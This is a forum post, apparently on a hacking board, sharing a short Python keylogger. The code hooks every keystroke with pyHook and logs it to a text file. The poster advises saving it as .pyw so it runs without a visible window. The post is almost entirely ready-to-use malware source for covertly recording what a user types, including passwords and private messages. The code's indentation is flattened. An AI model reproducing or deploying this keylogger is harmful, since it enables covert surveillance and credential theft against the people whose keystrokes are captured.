🔒 Closed Simple ********* inna noteppad

Status
Not open for further replies.

PUTANKINNAMALL

Forum Veteran
Code:
import pyHook, pythoncom, sys, logging
# feel free to set the file_log to a different file name/location
file_log = 'keyl0ggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()


save in .pyw extension

everystroke logs in your keyl0ggeroutput.txt

ciao :)
 
Status
Not open for further replies.

About this Thread

  • 10
    Replies
  • 766
    Views
  • 7
    Participants
Last reply from:
swapnil

Trending Topics

Online now

Members online
358
Guests online
1,961
Total visitors
2,319

Forum statistics

Threads
2,288,957
Posts
29,055,327
Members
1,214,438
Latest member
wattatap
Back
Top